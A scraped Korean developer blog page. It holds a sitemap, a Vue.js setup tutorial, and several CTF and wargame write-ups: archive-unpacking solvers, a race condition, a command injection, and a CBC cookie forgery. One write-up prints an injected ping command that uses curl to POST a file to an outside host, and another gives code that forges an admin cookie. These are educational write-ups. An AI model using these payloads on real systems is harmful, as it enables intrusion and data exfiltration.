블로그 이관하였습니다.

추후 컨텐츠를 필터링하여 이관한 블로그에서 계속해서 블로깅하고자 합니다. :)

https://www.0x00.kr

# Sitemaps
https://www.0x00.kr/20231226_brunch_retrospective_1
https://www.0x00.kr/2023_hissc_hackerthon_operation
https://www.0x00.kr/about
https://www.0x00.kr/async_lambda_backend_performmance_improvement_case
https://www.0x00.kr/aws_aurora_serverless_v2_pricing
https://www.0x00.kr/aws/aws_aurora_mysql_select_into_outfile_s3_useage
https://www.0x00.kr/aws/aws_boto3_sdk_eventbridge_scheduler_lambda_function_one_time_schedule
https://www.0x00.kr/aws/aws_ec2_ssl_route53_acm_alb
https://www.0x00.kr/aws/aws_ecr_ecs_server_deploy_with_github_actions_1
https://www.0x00.kr/aws/aws_ecr_ecs_server_deploy_with_github_actions_2
https://www.0x00.kr/aws/aws_lambda_rds_proxy_secret_manager
https://www.0x00.kr/aws/aws_lambda_s3_trigger_image_control
https://www.0x00.kr/aws/aws_s3_static_website_hosting_route53_cloudfront
https://www.0x00.kr/aws_backend_with_tcp_server
https://www.0x00.kr/aws/cloudfront_waf_shields_alb_static_deployment
https://www.0x00.kr/baekjoon_1002
https://www.0x00.kr/baekjoon_1003
https://www.0x00.kr/baekjoon_2563
https://www.0x00.kr/baekjoon_2738
https://www.0x00.kr/development/django/django_transaction_atomic_db_routers
https://www.0x00.kr/development/django/django_transaction_atomic_usage
https://www.0x00.kr/development_environment_convention
https://www.0x00.kr/development/python/aws_ec2_albst_testing
https://www.0x00.kr/development/python/method_override_and_function_overload
https://www.0x00.kr/develop/python/python-uv-simple-usage-and-example
https://www.0x00.kr/django4_drf3_mysql_character_set_issue
https://www.0x00.kr/django_api_custom_error_exception_standardization
https://www.0x00.kr/django_to_elk_request_body_sanitization_json_field_filter
https://www.0x00.kr/docker_elk_setup_and_django_connection
https://www.0x00.kr/flask_full_stack_flask_socketio_nginx_gunicorn_1
https://www.0x00.kr/flask_full_stack_flask_socketio_nginx_gunicorn_2
https://www.0x00.kr/flask_with_flask_sqlalchemy_2_x
https://www.0x00.kr/ggwp_retrospective_and_radio_postmortem
https://www.0x00.kr/github/github-action-auto-release-note-creation
https://www.0x00.kr/github_ssh_keygen_multiple
https://www.0x00.kr/goldstar-blog-table
https://www.0x00.kr/hello_oopy_bye_velog
https://www.0x00.kr/leetcode_two_sum
https://www.0x00.kr/macbook_pro_m2_anaconda_error
https://www.0x00.kr/note_my_thinks_into_memo_with_narrative
https://www.0x00.kr/oopy_customizatioin_and_notion
https://www.0x00.kr/openapi-specification-examples
https://www.0x00.kr/postman_login_management_for_test
https://www.0x00.kr/postman_response_visualization
https://www.0x00.kr/production_issues_and_on_boarding
https://www.0x00.kr/profile
https://www.0x00.kr/python_lazy_evaluation_and_generator
https://www.0x00.kr/python_list_tuple_basic
https://www.0x00.kr/python_method_override_and_function_overload
https://www.0x00.kr/python_operator_overloading
https://www.0x00.kr/python_socketserver_threading_cpu_burst
https://www.0x00.kr/python_tcp_server_client
https://www.0x00.kr/python_yield_problem_solve_example
https://www.0x00.kr/release_with_flask_gunicorn_nginx
https://www.0x00.kr/rest_and_restapi
https://www.0x00.kr/sqlite_export_import
https://www.0x00.kr/toss-payments-development-interview
https://www.0x00.kr/ubuntu_dev_environments_init
https://www.0x00.kr/vscode-swagger-viewer
https://www.0x00.kr/wants_and_needs_for_career
https://www.0x00.kr/what_is_power_of_career

 

 

 

'ABOUT' 카테고리의 다른 글

KKAMIKOON BLOG  (5) 2018.06.16
적용 스킨 및 SyntaxHighlighter  (0) 2016.10.15

write up은 추후 홈페이지 개설 후 모두 옮길 예정...

0. 구동 환경

Ubuntu 19.04.

 

1. Vue.js 설치 방법

nodejs(npm) 설치(1)

$ apt install nodejs

nodejs(npm) 설치(2)

$ apt install npm

vue 설치

$ npm install vue

 

2. vue-cli 설치

Vue CLI는 Vue.js 프로젝트 생성을 돕는 vue 공식 CLI이다. Vue CLI를 통해 vue 명령어를 사용할 수 있게 되고, 빠른 프로젝트 생성 및 관리가 가능하다.

vue-cli 설치 방법(1)

$ npm install -g @vue/cli

vue-cli 설치 방법(2)

$ yarn global add @vue/cli

vue 명령 살펴보기

root@ubuntu:~# vue
Usage: vue <command> [options]

Options:
  -V, --version  output the version number
  -h, --help     output usage information

Commands:
  init           generate a new project from a template
  list           list available official templates
  build          prototype a new project
  create         (for v3 warning only)
  help [cmd]     display help for [cmd]

 

3. vue를 이용한 프로젝트 생성

프로젝트 생성시 vue-cli를 설치해두었으면 생각보다 편하게 설치가 가능하다. 물론 인터넷이 되어야 한다는 전제가 있다.

공식 템플릿을 이용한 프로젝트 생성

$ vue init webpack [my-project-name]

github 저장소에서 프로젝트 가져오기

$ vue init [username/reposigory_name] [my-project-name]

 

4. vue 프로젝트 실행

프로젝트를 생성하였으면, 간단하게 실행해볼 수 있다.

실행 명령어(1)

$ npm run dev

실행 명령어(2)

$ npm start

npm start와 npm run dev와 같은 명령어로 서버를 구동할 수 있다.

물론 구동된 서버는 기본적으로 로컬호스트에서만 접근이 가능하다.

 

5. vue 프로젝트 외부에서 접근하기 위한 config 수정

프로젝트를 구동하는 곳은 VMware라는 전제하에 외부의 Windows 환경에서 구동하고 싶었다. 그런데 VMware 내부에서는 접근이 가능하였으나, 외부에서는 접근이 안 되는 것을 확인하여, config 파일이 어딨는지 삽질하면서 다음과 같은 힌트를 얻었다.

root@ubuntu ~/VueJSProject/01 > npm run dev

> 01@1.0.0 dev /root/VueJSProject/01
> webpack-dev-server --inline --progress --config build/webpack.dev.conf.js

 1 10% building modules 3/7 modules 4 active ...dules/webpack/hot/log-apply-result.js

위의 파일에서 build/webpack.dev.conf.js에 config가 있는가 싶어서 살펴보았지만 다른 파일의 내용을 보라고 나타나 있었다. 그리고 좀 더 찾아보니 config 아래에 있는 index.js 파일에서 localhost에 대한 내용을 찾았다.

/* 
config/index.js
*/

'use strict'
// Template version: 1.3.1
// see http://vuejs-templates.github.io/webpack for documentation.

const path = require('path')

module.exports = {
  dev: {

    // Paths
    assetsSubDirectory: 'static',
    assetsPublicPath: '/',
    proxyTable: {},

    // Various Dev Server settings
    //host: 'localhost', // can be overwritten by process.env.HOST
    host: '0.0.0.0'
    port: 8080, // can be overwritten by process.env.PORT, if port is in use, a free one will be determined
    autoOpenBrowser: false,
    errorOverlay: true,
    notifyOnErrors: true,
    poll: false, // https://webpack.js.org/configuration/dev-server/#devserver-watchoptions-```

문제를 먼저 확인하고 x64인걸 확인 후, IDA 64로 까봤습니다.

파일을 확인해보면 다음과 같이 main 속에 있는 check 함수를 발견할 수 있습니다.

check 함수에서 처음에 if 문 안에 아무것도 없나 싶어서 넘어가려 했는데...

나중에서야 e() 함수를 발견하였습니다.


위에 저기 쳐져 있는 것 보이시죠.


옆에 있는 함수들이 보였는데, 여기에서 사용하였던 것이었습니다.

그러면 이제 저 함수로 차례차례 들어가 보면 다음과 같이 쭈욱 나옵니다.


마지막 함수는 a 함수이며, 각 함수에서는 a1이라는 char* 변수에 값을 비교하는 것을 볼 수 있습니다.

저 위에서 변수에 값을 비교하는 것을 보고, 각 순서대로 들어간 값이 무엇인지 알기위해 코드를 작성해보았습니다.


a1 = [0] * 19

a1[4] = 123 
a1[12] = 51 
a1[8] = 121 
a1[13] = 114
a1[3] = 71 
a1[11] = 118 
a1[5] = 51
a1[14] = 53 
a1[16] = 110
a1[10] = 51 
a1[18] = 125 
a1[6] = 97
a1[15] = 105 
a1[9] = 114 
a1[1] = 76
a1[7] = 53 
a1[17] = 103 
a1[2] = 65
#*a1 = 70
a1[0] = 70


string = ""

for a in a1:
    string += chr(a)

print("[+] String : %s" % string)

#[+] String : FLAG{3a5yr3v3r5ing}


file로 확인해보니 Zip파일인 걸 확인하고 압축을 풀어보려 했더니 아래와 같이 암호가 걸려 있었습니다.

혹시나 해서 이것저것 입력해봤지만, 잠깐의 게싱으로는 풀 수 없었습니다.

그러다가 혹시 암호화가 안 돼 있는데, 암호화 됐다고 하는 페이크인가 생각해봤는데

이것도 아니었습니다.


마지막으로 혹시나 해서 파일 이름으로 비밀번호를 입력해봤더니 풀렸습니다.

세상에...

코드 코드.....

import tarfile
import zipfile
import os

def decompress_tar(filename, path):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall(path)


def decompress_zip(filename, password, path):
    print("FileName : ", filename)
    print("Password : ", password)

    with zipfile.ZipFile(filename) as zf:
        compressed_name = zf.namelist()[0]
        zf.extractall(path=path, pwd=password)

    return compressed_name


def file_rename(filename):
    reName = filename + ".zip"
    os.rename(filename, reName)

    return reName

Done = False


FileName        = "RWtm7A5f" # it is also password

while not Done:
    Password        = FileName.encode()

    #FileName        = file_rename(FileName)
    FileName        = decompress_zip(FileName, Password, './')

    print("FileName : %s" % FileName)

decompress_tar(FileName, './flag')


위와 같이 문제 파일을 풀어보면, flag 파일이 하나 튀어나오는데, 그 파일은 TAR로 되어 있어서 TAR로 풀어보았습니다.


그런데....

위와 같은 폴더로 가득한 압축파일인 것을 확인할 수 있었습니다.

여기서 답이 없다고 생각하고 다른 문제를 보고 있었는데, 팀원의 도움으로 풀 수 있었습니다.

125 폴더 이후에는 아무런 파일이 없고, 그 이전의 파일에는 숫자로 이루어진 데이터가 없는 파일들이 있었습니다.

위와 같이 하나씩 나타나 있는데, 저 폴더에 표시된 예시를 들어보면 chr(101) 을 한 값을 9번째에 넣어라, 라는 의미가 될 수 있습니다.

때문에 저기 표시된 폴더의 값을 chr로 바꿔주고 그걸 원하는 번째의 string으로 만들어주면 FLAG가 나타나게 됩니다.


FLAG{m4tr3shk4_a5c11}


무슨 파일인고 보니, TAR이기도 하고, Zip이기도 하고, bzip2, gzip 등... 정말 많습니다.

아무래도 저렇게 해서 txt파일을 매우 압축한 것 같습니다.



위와 같이 손으로 하는 건 문제가 있습니다....

이건 프로그래밍을 해야 할 문제 같았습니다.


문제는 POSIX tar, bzip2, XZ, gzip, Zip 으로 총 다섯 가지 방식으로 압축되어 있습니다.

Python의 모듈이 있는 것들만 있군요...


코드를 작성하여 문제 파일을 쭉 풀어보면 총 723회 압축되어 있었음을 알 수 있었습니다...(숫자를 잘못 세어서 720회 내외일 수 있습니다.)


#!/bin/python3
import bz2
import gzip
import tarfile
import zipfile
import lzma
import magic
import os


def decompress_bz2(filename):
    with open(filename, "rb") as file_rb:
        tmpData = file_rb.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(bz2.decompress(tmpData))


def decompress_gzip(filename):
    with gzip.open(filename, "rb") as gzip_rb:
        tmpData = gzip_rb.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)


def decompress_zip(filename):
    with zipfile.ZipFile(filename) as zip_decompress:
        zip_decompress.extractall()


def decompress_tar(filename):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall()


def decompress_xz(filename):
    with lzma.open(filename) as xz_decompress:
        tmpData = xz_decompress.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)


def find_compress_type(filename, cnt):
    ret = magic.from_file(filename)

    if "POSIX tar" in ret:
        return "tar"
    elif "bzip2" in ret:
        return "bz"
    elif "XZ compressed" in ret:
        return "xz"
    elif "gzip" in ret:
        return "gz"
    elif "Zip archive" in ret:
        return "zip"
    else:
        print("[-] ret : ", ret)
        return None
    

def file_rename(filename, compress_type, cnt):
    tmpFileName = "flag_%03d" % cnt

    os.rename(filename, tmpFileName + "." + compress_type)

    return tmpFileName + "." + compress_type


def decompress(filename, compress_type):
    if compress_type == "tar":
        decompress_tar(filename)
    elif compress_type == "bz":
        decompress_bz2(filename)
    elif compress_type == "xz":
        decompress_xz(filename)
    elif compress_type == "gz":
        decompress_gzip(filename)
    elif compress_type == "zip":
        decompress_zip(filename)
    else:
        print("[-] Error ")
        exit()


Done = False
cnt  = 0

while not Done:
    cnt            += 1
    FileName        = "flag.txt"
    compress_type   = find_compress_type(FileName, cnt)
    print("[=] Compress Type : %s" % compress_type)

    if compress_type == None:
        print("[+] None Done !")
        Done        = True
        break

    FileName        = file_rename(FileName, compress_type, cnt)
    print("[=] Rename Name   : %s" % FileName)

    decompress(FileName, compress_type)


압축을 쭉 풀어 txt파일을 보면 플래그가 튀어 나옵니다.


FLAG{matri0sha256}





문제를 풀기 전에 Facebook 짝퉁 사이트가 아닌가 하는 의심이 들었습니다.

그런데 러시아 판 Facebook이라고 해서 일단 정상적인 사이트로 판단하고 문제를 풀기 시작하였습니다.


/buy 4를 하게 되면 Flag를 알 수 있는 구조인 걸 확인하고 어떻게 하면 100보다 많은 balance를 가질 수 있을지 고민하다가, 레이스 컨디션을 시도해보았습니다. 아니나 다를까 /sell이 두 번 되고 balance가 200이 되도록 할 수 있었습니다.


물론 봇에 두 번 명령을 보내기 위해서는 다음과 같이 페이지를 두 개를 켜서 수행했습니다.

(복붙을 하면 명령어를 잘 먹지 않더군요....)



문제를 들어가기 전에 Login 하는 거에 굉장히 조심스러웠습니다.

vk.com이 제대로된 사이트인지 좀 더 검증하고 문제를 풀이하였습니다.

(물론 정상적인 러시아 버전 페이스북인 걸 알고 구글 계정을 연동하였습니다.)



메신저로 들어가 commands를 입력해서 여러 시도를 해보는 도중 /ping 이 있길래, 혹시 커맨드 인젝션이 되는지 테스트해보았습니다.

현재 CTF가 끝나고 명령이 되진 않지만, 위와 같이 했을 때 되는 것을 확인하였습니다.

처음에는 ls를 해보고자 했는데 띄어쓰기가 되는 값을 GET 뒤에 붙여서 전송되지는 않아, README.txt밖에 안 보였습니다.


그래서 find 명령어로 혹시 flag라는 녀석이 있는지 찾아보았습니다.

위와 같이 테스트해본 결과 여러 결과가 나왔는데, curl명령어로 GET으로 보내는 데에는 한계가 있어, POST 명령어로 전송해보았습니다.

flag.jpg위치는 바로 아래였던 것이 행운이었습니다.


/ping - ping 1.1.1.1;curl -X POST -F file=@flag.jpg http://kkamikoon.com:7777 


위의 명령을 받기 위해 아래와 같이 받았습니다.

근데 값을 받아보니 HTTP Header들도 좀 있어서 HxD로 제거해주고 온전한 이미지 파일로 받았습니다.

열어보니 아래와 같이 열려 플래그를 인증할 수 있었습니다.


Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dun worry about vase 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번 문제는 사실 살짝 쫄아 있었는데, 생각보다 어렵지 않은 문제였습니다.


 

 문제 이해

문제에서 바로 Oracle Padding에 대해 알고 있는지 물어보고 있습니다.

이 문제를 보고 바로 걱정했던 건..


오라클 패팅으로 브루트포싱을 어떻게 할까에 대한 고민이었습니다.


일단 걱정은 접어두고 문제를 살펴봤는데,


문제에서 나타난 Session은 L0g1n이라는 세션명으로, 계속해서 바뀌는 것을 볼 수 있었습니다.

아이디와 패스워드는 guest/guest로 변함이 없는데 왜 변하는지 잠시 고민하다 내놓은 뇌피셜은,

CBC 모드로 암호화할 때 사용하는 IV가 계속 달라지는 것이 아닐까 하는 합리적 의심을 해보았습니다.


일단 변하지 않도록 쿠키값만 슬쩍해서 공격을 수행해보도록 했습니다.




 

 문제 풀이


오라클패팅에 대한 개념을 이해하고, %3D가 두 개가 보이는 것을 확인하고, ID와 PW에 대한 IV가 각각 다르구나로 생각했습니다.


일단 ID값이 5Bytes로 guest이고, PW에 들어간 값도 동일했으니, 암호문인 쿠키값의 길이를 측정해보았습니다.

Base64를 디코딩 후 길이를 재보니 각각 8바이트였습니다.


그렇다면 예상해보면 guest\x03\x03\x03과 같이 패딩이 되어 있을 것이라 생각했습니다.


이후 공격코드를 작성해서 풀이를 진행해보았습니다.


import base64

def bytesBlockXOR(block1, block2, length):
    resBlock = b''

    for idx in range(length):
        resBlock += bytes([block1[idx] ^ block2[idx]])

    return resBlock


ID          = '1h3ooS1xGJs='
PW          = 'G3jfbRJUnj4='

ID_Bytes    = base64.b64decode(ID)
PW_Bytes    = base64.b64decode(PW)

ID_IV       = bytesBlockXOR(b'guest\x03\x03\x03', ID_Bytes, 8)
PW_IV       = bytesBlockXOR(b'guest\x03\x03\x03', PW_Bytes, 8)

print('[+] ID_IV : ', ID_IV)
print('[+] PW_IV : ', PW_IV)


ADMIN_ID_ENC= bytesBlockXOR(b'admin\x03\x03\x03', ID_IV, 8)

print("[+] ADMIN ID ENCRYPTED : %s" % base64.b64encode(ADMIN_ID_ENC))

# 1h3ooS1xGJs%3DG3jfbRJUnj4%3D
# 0AzguzdxGJs=
# 0AzguzdxGJs%3DG3jfbRJUnj4%3D


일단은 ID에 대한 암호문은 구했지만 PW에 대한 암호문은 PW를 모르니....

일단 ID 암호문만 바꿔줘보자 했었는데,


ID 만 바꿔줘도 admin으로 풀리더군요.




+ Recent posts